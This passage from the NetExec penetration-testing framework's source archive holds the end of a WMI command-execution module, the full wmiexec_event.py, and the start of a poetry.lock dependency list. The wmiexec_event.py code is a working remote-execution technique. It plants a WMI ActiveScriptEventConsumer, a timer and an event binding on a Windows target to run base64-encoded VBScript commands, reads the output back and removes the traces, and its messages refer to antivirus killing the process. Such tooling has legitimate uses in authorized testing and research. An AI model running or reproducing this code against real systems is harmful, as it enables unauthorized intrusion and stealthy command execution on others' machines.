self.queryRegistry_psh(keyName) self.clean_up(result_output, result_output_b64) def queryRegistry_psh(self, keyName): try: # Spawn an instance of StdRegProv to access the registry self.logger.debug(f"Retrieving output from: HKLM\\{self.__registry_Path}") descriptor, _ = self.__iWbemServices.GetObject("StdRegProv") descriptor = descriptor.SpawnInstance() # Get the number of chunks stored in the registry num_chunks = None for _ in range(10): self.logger.debug(f"Retrieving number of chunks for key: {keyName}") num_chunks = descriptor.GetDWORDValue(0x80000002, self.__registry_Path, keyName).uValue if num_chunks is not None: break time.sleep(1) self.logger.debug(f"Number of chunks: {num_chunks}") # Retrieve each chunk and decode the base64 content outputBuffer_b64 = "" for i in range(num_chunks): chunk_name = f"{keyName}_chunk_{i}" self.logger.debug(f"Retrieving chunk: {chunk_name}") outputBuffer_b64 += descriptor.GetStringValue(0x80000002, self.__registry_Path, chunk_name).sValue self.__outputBuffer = base64.b64decode(outputBuffer_b64).decode("utf-16le", errors="replace").rstrip("\r\n").lstrip("\ufeff") # Remove BOM if present except Exception: self.logger.fail("WMIEXEC: Could not retrieve output file! Either command timed out or AV killed the process. Please try increasing the timeout: '--exec-timeout 10'") def clean_up(self, result_output, result_output_b64): """Deletes the output file, the base64 output file, and the registry path where the base64 content was stored.""" self.execute_remote(f'{self.__shell} del /q /f "{result_output}" "{result_output_b64}"') try: self.logger.debug(f"Removing temporary registry path: HKLM\\{self.__registry_Path}") descriptor, _ = self.__iWbemServices.GetObject("StdRegProv") descriptor = descriptor.SpawnInstance() descriptor.DeleteKey(0x80000002, self.__registry_Path) except Exception as e: self.logger.fail(f"Target: {self.__target} removing temporary registry path error: {e!s}") NetExec-1.5.1/nxc/protocols/wmi/wmiexec_event.py000066400000000000000000000234061514706431700217120ustar00rootroot00000000000000# Author: xiaolichan # noqa: ERA001 # Link: https://github.com/XiaoliChan/wmiexec-Pro # Note: windows version under NT6 not working with this command execution way, it need Win32_ScheduledJob. # https://github.com/XiaoliChan/wmiexec-Pro/blob/main/lib/modules/exec_command.py # Description: # For more details, please check out my repository. # https://github.com/XiaoliChan/wmiexec-Pro/blob/main/lib/modules/exec_command.py # Workflow: # Stage 1: # Generate vbs with command. # # Stage 2: # Execute vbs via wmi event, the vbs will write back the command result into new instance in ActiveScriptEventConsumer.Name="{command_ResultInstance}" # # Stage 3: # Get result from reading wmi object ActiveScriptEventConsumer.Name="{command_ResultInstance}" # # Stage 4: # Remove everything in wmi object import time import uuid import base64 import sys from io import StringIO from nxc.helpers.powershell import get_ps_script from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS class WMIEXEC_EVENT: def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec): self.__target = target self.__iWbemLevel1Login = iWbemLevel1Login self.__outputBuffer = "" self.__retOutput = True self.logger = logger self.__exec_timeout = exec_timeout self.__codec = codec self.__instanceID = f"windows-object-{uuid.uuid4()!s}" self.__instanceID_StoreResult = f"windows-object-{uuid.uuid4()!s}" self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL) self.__iWbemLevel1Login.RemRelease() def execute(self, command, output=False, use_powershell=False): if "'" in command: command = command.replace("'", r'"') if use_powershell: command = f"powershell.exe -Command {command}" self.__retOutput = output self.execute_handler(command) return self.__outputBuffer def execute_remote(self, command): self.logger.info(f"Executing command: {command}") try: self.execute_vbs(self.process_vbs(command)) except Exception as e: self.logger.error(str(e)) def execute_handler(self, command): # Generate vbsript and execute it self.logger.debug(f"{self.__target}: Execute command via wmi event, job instance id: {self.__instanceID}, command result instance id: {self.__instanceID_StoreResult}") self.execute_remote(command) # Get command results self.logger.info(f"Waiting {self.__exec_timeout}s for command completely executed.") time.sleep(self.__exec_timeout) if self.__retOutput: self.get_command_result() # Clean up self.remove_instance() def process_vbs(self, command): schedule_taskname = str(uuid.uuid4()) # Link: https://github.com/XiaoliChan/wmiexec-Pro/blob/main/lib/vbscripts/Exec-Command-WithOutput.vbs # The reason why need to encode command to base64: # because if some special charters in command like chinese, # when wmi doing put instance, it will throwing a exception about data type error (lantin-1), # but we can base64 encode it and submit the data without spcial charters to avoid it. if self.__retOutput: output_file = f"{uuid.uuid4()!s}.txt" with open(get_ps_script("wmiexec_event_vbscripts/Exec_Command_WithOutput.vbs")) as vbs_file: vbs = vbs_file.read() vbs = vbs.replace("REPLACE_ME_BASE64_COMMAND", base64.b64encode(command.encode()).decode()) vbs = vbs.replace("REPLACE_ME_OUTPUT_FILE", output_file) vbs = vbs.replace("REPLACE_ME_INSTANCEID", self.__instanceID_StoreResult) vbs = vbs.replace("REPLACE_ME_TEMP_TASKNAME", schedule_taskname) else: # From wmihacker # Link: https://github.com/rootclay/WMIHACKER/blob/master/WMIHACKER_0.6.vbs with open(get_ps_script("wmiexec_event_vbscripts/Exec_Command_Silent.vbs")) as vbs_file: vbs = vbs_file.read() vbs = vbs.replace("REPLACE_ME_BASE64_COMMAND", base64.b64encode(command.encode()).decode()) vbs = vbs.replace("REPLACE_ME_TEMP_TASKNAME", schedule_taskname) return vbs def check_error(self, banner, call_status): if call_status != 0: try: error_name = WBEMSTATUS.enumItems(call_status).name except ValueError: error_name = "Unknown" self.logger.debug(f"{banner} - ERROR: {error_name} (0x{call_status:08x})") else: self.logger.debug(f"{banner} - OK") def execute_vbs(self, vbs_content): # Copy from wmipersist.py # Install ActiveScriptEventConsumer active_script, _ = self.__iWbemServices.GetObject("ActiveScriptEventConsumer") active_script = active_script.SpawnInstance() active_script.Name = self.__instanceID active_script.ScriptingEngine = "VBScript" active_script.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] active_script.ScriptText = vbs_content # Don't output impacket default verbose current = sys.stdout sys.stdout = StringIO() resp = self.__iWbemServices.PutInstance(active_script.marshalMe()) sys.stdout = current self.check_error(f'Adding ActiveScriptEventConsumer.Name="{self.__instanceID}"', resp.GetCallStatus(0) & 0xFFFFFFFF) # Timer means the amount of milliseconds after the script will be triggered, hard coding to 1 second it in this case. wmi_timer, _ = self.__iWbemServices.GetObject("__IntervalTimerInstruction") wmi_timer = wmi_timer.SpawnInstance() wmi_timer.TimerId = self.__instanceID wmi_timer.IntervalBetweenEvents = 1000 # Don't output verbose current = sys.stdout sys.stdout = StringIO() resp = self.__iWbemServices.PutInstance(wmi_timer.marshalMe()) sys.stdout = current self.check_error(f'Adding IntervalTimerInstruction.TimerId="{self.__instanceID}"', resp.GetCallStatus(0) & 0xFFFFFFFF) # EventFilter event_filter, _ = self.__iWbemServices.GetObject("__EventFilter") event_filter = event_filter.SpawnInstance() event_filter.Name = self.__instanceID event_filter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] event_filter.Query = f'select * from __TimerEvent where TimerID = "{self.__instanceID}" ' event_filter.QueryLanguage = "WQL" event_filter.EventNamespace = r"root\subscription" # Don't output verbose current = sys.stdout sys.stdout = StringIO() resp = self.__iWbemServices.PutInstance(event_filter.marshalMe()) sys.stdout = current self.check_error(f'Adding EventFilter.Name={self.__instanceID}"', resp.GetCallStatus(0) & 0xFFFFFFFF) # Binding EventFilter & EventConsumer filter_binding, _ = self.__iWbemServices.GetObject("__FilterToConsumerBinding") filter_binding = filter_binding.SpawnInstance() filter_binding.Filter = f'__EventFilter.Name="{self.__instanceID}"' filter_binding.Consumer = f'ActiveScriptEventConsumer.Name="{self.__instanceID}"' filter_binding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] # Don't output verbose current = sys.stdout sys.stdout = StringIO() resp = self.__iWbemServices.PutInstance(filter_binding.marshalMe()) sys.stdout = current self.check_error(rf'Adding FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"{self.__instanceID}\"", Filter="__EventFilter.Name=\"{self.__instanceID}\""', resp.GetCallStatus(0) & 0xFFFFFFFF) def get_command_result(self): try: command_result_object, _ = self.__iWbemServices.GetObject(f'ActiveScriptEventConsumer.Name="{self.__instanceID_StoreResult}"') record = dict(command_result_object.getProperties()) self.__outputBuffer = base64.b64decode(record["ScriptText"]["value"]).decode(self.__codec, errors="replace") except Exception: self.logger.fail("WMIEXEC-EVENT: Could not retrieve output file, it may have been detected by AV. Please try increasing the timeout with the '--exec-timeout' option. If it is still failing, try the 'smb' protocol or another exec method") def remove_instance(self): if self.__retOutput: resp = self.__iWbemServices.DeleteInstance(f'ActiveScriptEventConsumer.Name="{self.__instanceID_StoreResult}"') self.check_error(f'Removing ActiveScriptEventConsumer.Name="{self.__instanceID}"', resp.GetCallStatus(0) & 0xFFFFFFFF) resp = self.__iWbemServices.DeleteInstance(f'ActiveScriptEventConsumer.Name="{self.__instanceID}"') self.check_error(f'Removing ActiveScriptEventConsumer.Name="{self.__instanceID}"', resp.GetCallStatus(0) & 0xFFFFFFFF) resp = self.__iWbemServices.DeleteInstance(f'__IntervalTimerInstruction.TimerId="{self.__instanceID}"') self.check_error(f'Removing IntervalTimerInstruction.TimerId="{self.__instanceID}"', resp.GetCallStatus(0) & 0xFFFFFFFF) resp = self.__iWbemServices.DeleteInstance(f'__EventFilter.Name="{self.__instanceID}"') self.check_error(f'Removing EventFilter.Name="{self.__instanceID}"', resp.GetCallStatus(0) & 0xFFFFFFFF) resp = self.__iWbemServices.DeleteInstance(rf'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"{self.__instanceID}\"",Filter="__EventFilter.Name=\"{self.__instanceID}\""') self.check_error(rf'Removing FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"{self.__instanceID}\"", Filter="__EventFilter.Name=\"{self.__instanceID}\""', resp.GetCallStatus(0) & 0xFFFFFFFF) NetExec-1.5.1/poetry.lock000066400000000000000000005723701514706431700152730ustar00rootroot00000000000000# This file is automatically @generated by Poetry 2.1.3 and should not be changed by hand. [[package]] name = "aardwolf" version = "0.2.13" description = "Asynchronous RDP protocol implementation" optional = false python-versions = ">=3.9" groups = ["main"] files = [ {file = "aardwolf-0.2.13-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:2a2f79f774807ad2fe2aa702b32b8f98d9c7d8474761a235a9e42747a1ba7693"}, {file = "aardwolf-0.2.13-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:23ecf64d1f2a28e6ece62d983373543f8f6d7273878d7f608d93c26448f49f99"}, {file = "aardwolf-0.2.13-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ed3543fbdd99d568e31fd1418fc0b0d3939d0c8c8338a1b78ac5c282c8ef7fc"}, {file = "aardwolf-0.2.13-cp310-cp310-win_amd64.whl", hash = "sha256:b9ffec598c4e0f7d3c7f5c5cf741d1639fba4091290a41730f5901d663158700"}, {file = "aardwolf-0.2.13-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1b7b3bcbb0dc718daef2d89ec69560c6764f17962ca86721fe5de4838f855b23"}, {file = "aardwolf-0.2.13-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c6185cccf51a98a5396edb5b1dba26b31080b15d7357a22f2e0d086590962a4e"}, {file = "aardwolf-0.2.13-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fcbe77f0cc1cbe0e9a1b40669007c5b72e155099bc0f645b48ce843a09113db2"}, {file = "aardwolf-0.2.13-cp311-cp311-win_amd64.whl", hash = "sha256:726eae2ace82a0f96608c74d6d393fb8c61d711ade232fecc662839c1bb148a7"}, {file = "aardwolf-0.2.13-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:70e0f31d61dafffe8f19921c28bcb77909cb2c73f14c98cf6eb2fde42ce5de2d"}, {file = "aardwolf-0.2.13-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:42aa2bb888127088a5f5ce29ca2acce33270afe15016ace16dfa373525fb9d6a"}, {file = "aardwolf-0.2.13-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:df6298af95c2ede4886538d3f05ac32e6b7060d098c273fb119d70dd2140837d"}, {file = "aardwolf-0.2.13-cp312-cp312-win_amd64.whl", hash = "sha256:f5d52440965b81eb824da7274d422b409637f825d0490e5a247a9da756df7358"}, {file = "aardwolf-0.2.13-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d70d489d1b6b25100a70a2add0c14cfcbc82b9230a352307a53df4000208daa1"}, {file = "aardwolf-0.2.13-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:49a6ba4d2c5571b39d0437fa2a691102fcd9e2ca97d17613d84bdd2695e59648"}, {file = "aardwolf-0.2.13-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ae112f0d05366407bcb67613c15a61f21f4cc48a487fb5091571321bc39d01b"}, {file = "aardwolf-0.2.13-cp313-cp313-win_amd64.whl", hash = "sha256:e087a5d37406234a8938ebbf27cee7ab762ce73662deb90929f2bb047635ffd8"}, {file = "aardwolf-0.2.13-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:10af6e0c8f46b9cdd325540c5819f1fb492f3c568080e2732390b2f1b93e7911"}, {file = "aardwolf-0.2.13-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9be8a28b8fc9c14e35b403d6140e6e0ccaea640afb2e5697ed852a2ad9eff155"}, {file = "aardwolf-0.2.13-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eed655ccca5e9a44e9359e0637fb017c6e9719204d788ca1001767fb2ae8061d"}, {file = "aardwolf-0.2.13-cp39-cp39-win_amd64.whl", hash = "sha256:1199e51f8dab19a5528df77e0afdb0648b867964c6327a12f27cfb756ef796a2"}, {file = "aardwolf-0.2.13-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:66c599a792d67e7e22dfdfd83d440d6708cdbbd3e6d96a0f1f2367940a1271d3"}, {file = "aardwolf-0.2.13-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:36ec601ba9376f933c760c712d3e35691b774029777c4e79f8c5abd37876df72"}, {file = "aardwolf-0.2.13-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bd42b25029dfa88be08c63863bd6852d8e8afa31842a2f024070236138bbb8a1"}, {file = "aardwolf-0.2.13-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:b344a4740ceb1064c5776e72960861b7b3c768c1daff7a737abd7f4d98dd5780"}, {file = "aardwolf-0.2.13-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:5a3c0e40debad804a84d4cf88304a26e904b73193dcc2ff9ffe927a26aea9dfa"}, {file = "aardwolf-0.2.13-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4377bc185dd4c4d119af7e029edd3eddb94858e0a024f3fe4b05ac8e57244a8a"}, {file = "aardwolf-0.2.13-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aef5e21ffd35b3d38cb9a8f54b53682d78084e63cc8b40fb891ce8b12b8402bb"}, {file = "aardwolf-0.2.13-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:da6fcdf569fd8c9d65202f8446119739d375854702a38e2ae0ca7410b16c1aed"}, {file = "aardwolf-0.2.13-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:74fac85b5c511eac74caadb07c94f40cafee4b7c5a09fdbcd0770390c2847493"}, {file = "aardwolf-0.2.13-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0dfb2b81a485fb8c18a39c04e37c3e5a85dce6912d89baff5862fe4c6c31a3a1"}, {file = "aardwolf-0.2.13-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7e4a62c570d7b9e254ca35107347e84eabb1857dadd7add55cbb789b72e4b62d"}, {file = "aardwolf-0.2.13-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:69644602eb6e3c9dbe8ab8efc449bab634f087a82224070bfc9c389270b21bea"}, {file = "aardwolf-0.2.13.tar.gz", hash = "sha256:95d186a162dbbade1f92b2ae659235c5cab42eff66c9528ad66c8c5c41b77eec"}, ] [package.dependencies] arc4 = ">=0.3.0" asn1crypto = "*" asn1tools = "*" asyauth = ">=0.0.16" asysocks = ">=0.2.9" colorama = "*" Pillow = ">=9.0.0" pyperclip = ">=1.8.2" tqdm = "*" unicrypto = ">=0.0.11" [[package]] name = "aesedb" version = "0.1.6" description = "NTDS parser toolkit" optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "aesedb-0.1.6-py3-none-any.whl", hash = "sha256:9dad54792b7d792715fd95379516b27e3a31de318199ba7cff51e5d0c8739228"}, ] [package.dependencies] aiowinreg = ">=0.0.7" colorama = "*" tqdm = "*" unicrypto = ">=0.0.9" [[package]] name = "aiosmb" version = "0.4.11" description = "Asynchronous SMB protocol implementation" optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "aiosmb-0.4.11-py3-none-any.whl", hash = "sha256:a3b84893cded7aa1ebf048c0f5267024f2c030e5d918e4d8d8b86f8974a4011a"}, {file = "aiosmb-0.4.11.tar.gz", hash = "sha256:6d66f51ed2354f76f206613eac0d63f37cfd9ed44be9f8a06594d410244273d7"}, ] [package.dependencies] asn1crypto = "*" asyauth = ">=0.0.16" asysocks = ">=0.2.9" colorama = "*" cryptography = "*" prompt-toolkit = ">=3.0.2" six = "*" tqdm = "*" unicrypto = ">=0.0.10" wcwidth = "*" winacl = ">=0.1.8" [[package]] name = "aiowinreg" version = "0.0.12" description = "Windows registry file reader" optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "aiowinreg-0.0.12-py3-none-any.whl", hash = "sha256:a67be904045d8ecb4798fa691dd7688b20a6e47a524d093528f7e77d9eaf00e9"}, ] [package.dependencies] prompt-toolkit = ">=3.0.2" winacl = ">=0.1.7" [[package]] name = "anyio" version = "4.10.0" description = "High-level concurrency and networking framework on top of asyncio or Trio" optional = false python-versions = ">=3.9" groups = ["main"] files = [ {file = "anyio-4.10.0-py3-none-any.whl", hash = "sha256:60e474ac86736bbfd6f210f7a61218939c318f43f9972497381f1c5e930ed3d1"}, {file = "anyio-4.10.0.tar.gz", hash = "sha256:3f3fae35c96039744587aa5b8371e7e8e603c0702999535961dd336026973ba6"}, ] [package.dependencies] exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""} idna = ">=2.8" sniffio = ">=1.1" typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""} [package.extras] trio = ["trio (>=0.26.1)"] [[package]] name = "arc4" version = "0.4.0" description = "A small and insanely fast ARCFOUR (RC4) cipher implementation of Python" optional = false python-versions = "*" groups = ["main"] files = [ {file = "arc4-0.4.0-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:d27d6cb7fef8787c3cb91c06a6adb2315551f42af3b4142d45703d5303e6ad2b"}, {file = "arc4-0.4.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f20540dd6ab695e6d1205a5edb4df416688ef39242cbbec4ad0b534e38ffe55f"}, {file = "arc4-0.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:cd9c4fc470019e184f72aacc5fdcb2a3364e7c174aaa6de2486ca18e9d377a5d"}, {file = "arc4-0.4.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3cdae371789b621927866a1b10862ea20dbe519b1b86cb725ff2dd95525c704f"}, {file = "arc4-0.4.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c0b9adcf7ab7ef7ca0ab60cf7e2dd8886fbc6610471ea9a8c7fb34416265451c"}, {file = "arc4-0.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:9b9d14ed487f373c0d47b97262a3f26d6f03e725d640c4c230a51f5f3dd8a6b4"}, {file = "arc4-0.4.0-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:45aba6a58fd8d83ec8fa14d8e99f686f9317667c19adca56c5eaa59aae630b3d"}, {file = "arc4-0.4.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e2e52410c5dde5cd7a89eb32440ad94de99b6bb2d6c886a099455b71f68dee3"}, {file = "arc4-0.4.0-cp37-cp37m-win_amd64.whl", hash = "sha256:be661d59b250e83753fd0aa7dfb0796f1475c19be929d581805e1a1c998fb959"}, {file = "arc4-0.4.0-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:2104d551744e9b851a12c144b512244da224ab4f5f68ed28a45a599937ead1cd"}, {file = "arc4-0.4.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:62ed00203dee645d99422a1dc1efdd5ca108048e8c047a239c3be0a690f6abb6"}, {file = "arc4-0.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:eb5eb33e3c68d68c548355aead25843502d3d1b909fa2e3b3f2520d467708af5"}, {file = "arc4-0.4.0-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:779d1b53c75e66edd023b9240dbd00df7b241ab50b6a4ea86ab97117dbbff86f"}, {file = "arc4-0.4.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b935c41b8691001b6a6746c2611a0a76962720a83688501dac8f3c74f9db4f34"}, {file = "arc4-0.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:f419c08cfb2cc8f374725a76dd8fd40d87b6a0e236774cb3307f2f51f6794c1f"}, {file = "arc4-0.4.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:19d130ec333d9be891b156c02a4436b002ac486bc072644a453fabdfbe0354f8"}, {file = "arc4-0.4.0-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e284d731da57f3c036c2497db47baf198057777f71670fe84d84347615df3e9f"}, {file = "arc4-0.4.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:24d5aaf57494219651e15e260c4d3747c99764b94ea6fc46b09031c3ed2ef9d3"}, {file = "arc4-0.4.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b1c72ceaff1b366d25ca5945ed381a520a8116195b7a4b0a69aaccac3f00d7ae"}, {file = "arc4-0.4.0-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9954ee25a0687b1076791ae92cacb20c152fad2bf5bdac608f4c9472d76e83f0"}, {file = "arc4-0.4.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:15603d81bbb990038dfe7f7a424d16549161b2d5c1e216097cb065023895f398"}, {file = "arc4-0.4.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:516e4fb4543e2a7c958b6fffb7658ba905b25b30af387b54c872418d87192fe6"}, {file = "arc4-0.4.0-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e5137eeb8f4c6f0c3bd23731c58359d554722b08119156058c99c337e78adb0"}, {file = "arc4-0.4.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:3da0dd7b6dd38c71af105aebef42bf587a624a0b26231717f1dcc53f36ab14d6"}, {file = "arc4-0.4.0.tar.gz", hash = "sha256:d431b53d11b24d62521dbbd06d755bf9d6d11a03cc7bbbdf37a13a12ee0747b6"}, ] [[package]] name = "argcomplete" version = "3.6.2" description = "Bash tab completion for argparse" optional = false python-versions = ">=3.8" groups = ["main"] files = [ {file = "argcomplete-3.6.2-py3-none-any.whl", hash = "sha256:65b3133a29ad53fb42c48cf5114752c7ab66c1c38544fdf6460f450c09b42591"}, {file = "argcomplete-3.6.2.tar.gz", hash = "sha256:d0519b1bc867f5f4f4713c41ad0aba73a4a5f007449716b16f385f2166dc6adf"}, ] [package.extras] test = ["coverage", "mypy", "pexpect", "ruff", "wheel"] [[package]] name = "asn1crypto" version = "1.5.1" description = "Fast ASN.1 parser and serializer with definitions for private keys, public keys, certificates, CRL, OCSP, CMS, PKCS#3, PKCS#7, PKCS#8, PKCS#12, PKCS#5, X.509 and TSP" optional = false python-versions = "*" groups = ["main"] files = [ {file = "asn1crypto-1.5.1-py2.py3-none-any.whl", hash = "sha256:db4e40728b728508912cbb3d44f19ce188f218e9eba635821bb4b68564f8fd67"}, {file = "asn1crypto-1.5.1.tar.gz", hash = "sha256:13ae38502be632115abf8a24cbe5f4da52e3b5231990aff31123c805306ccb9c"}, ] [[package]] name = "asn1tools" version = "0.167.0" description = "ASN.1 parsing, encoding and decoding." optional = false python-versions = "*" groups = ["main"] files = [ {file = "asn1tools-0.167.0.tar.gz", hash = "sha256:cad53f6f6d788a6eec5e37543401cd8c39f138cc8016b64629ec29fb4735f5b2"}, ] [package.dependencies] bitstruct = "*" pyparsing = ">=3.1.2" [package.extras] cache = ["diskcache"] shell = ["prompt_toolkit"] [[package]] name = "asyauth" version = "0.0.21" description = "Unified authentication library" optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "asyauth-0.0.21-py3-none-any.whl", hash = "sha256:1098ced8f4dfda74db535bc961e7667714154a440761821e26c8b637c95a2775"}, {file = "asyauth-0.0.21.tar.gz", hash = "sha256:34cc10c5f8628ff2e25b5116dc98efc5ca45532f163ccd3f9147a3e02dd810eb"}, ] [package.dependencies] asn1crypto = ">=1.3.0" asysocks = ">=0.2.11" minikerberos = ">=0.4.4" unicrypto = ">=0.0.10" [[package]] name = "asysocks" version = "0.2.13" description = "" optional = false python-versions = ">=3.6" groups = ["main"] files = [ {file = "asysocks-0.2.13-py3-none-any.whl", hash = "sha256:e32f478eac58566162d3e5af02ed6b6625317d9ddf83af22109bd13a24ef721a"}, {file = "asysocks-0.2.13.tar.gz", hash = "sha256:44185b2c471e63b7293173967eef3b0f5e60ed5cc1b7650a30a9569e49ff25f8"}, ] [package.dependencies] asn1crypto = "*" cryptography = "*" h11 = ">=0.14.0" [[package]] name = "bcrypt" version = "4.2.1" description = "Modern password hashing for your software and your servers" optional = false python-versions = ">=3.7" groups = ["main"] files = [ {file = "bcrypt-4.2.1-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:1340411a0894b7d3ef562fb233e4b6ed58add185228650942bdc885362f32c17"}, {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b1ee315739bc8387aa36ff127afc99120ee452924e0df517a8f3e4c0187a0f5f"}, {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dbd0747208912b1e4ce730c6725cb56c07ac734b3629b60d4398f082ea718ad"}, {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:aaa2e285be097050dba798d537b6efd9b698aa88eef52ec98d23dcd6d7cf6fea"}, {file = "bcrypt-4.2.1-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:76d3e352b32f4eeb34703370e370997065d28a561e4a18afe4fef07249cb4396"}, {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:b7703ede632dc945ed1172d6f24e9f30f27b1b1a067f32f68bf169c5f08d0425"}, {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:89df2aea2c43be1e1fa066df5f86c8ce822ab70a30e4c210968669565c0f4685"}, {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:04e56e3fe8308a88b77e0afd20bec516f74aecf391cdd6e374f15cbed32783d6"}, {file = "bcrypt-4.2.1-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:cfdf3d7530c790432046c40cda41dfee8c83e29482e6a604f8930b9930e94139"}, {file = "bcrypt-4.2.1-cp37-abi3-win32.whl", hash = "sha256:adadd36274510a01f33e6dc08f5824b97c9580583bd4487c564fc4617b328005"}, {file = "bcrypt-4.2.1-cp37-abi3-win_amd64.whl", hash = "sha256:8c458cd103e6c5d1d85cf600e546a639f234964d0228909d8f8dbeebff82d526"}, {file = "bcrypt-4.2.1-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:8ad2f4528cbf0febe80e5a3a57d7a74e6635e41af1ea5675282a33d769fba413"}, {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:909faa1027900f2252a9ca5dfebd25fc0ef1417943824783d1c8418dd7d6df4a"}, {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cde78d385d5e93ece5479a0a87f73cd6fa26b171c786a884f955e165032b262c"}, {file = "bcrypt-4.2.1-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:533e7f3bcf2f07caee7ad98124fab7499cb3333ba2274f7a36cf1daee7409d99"}, {file = 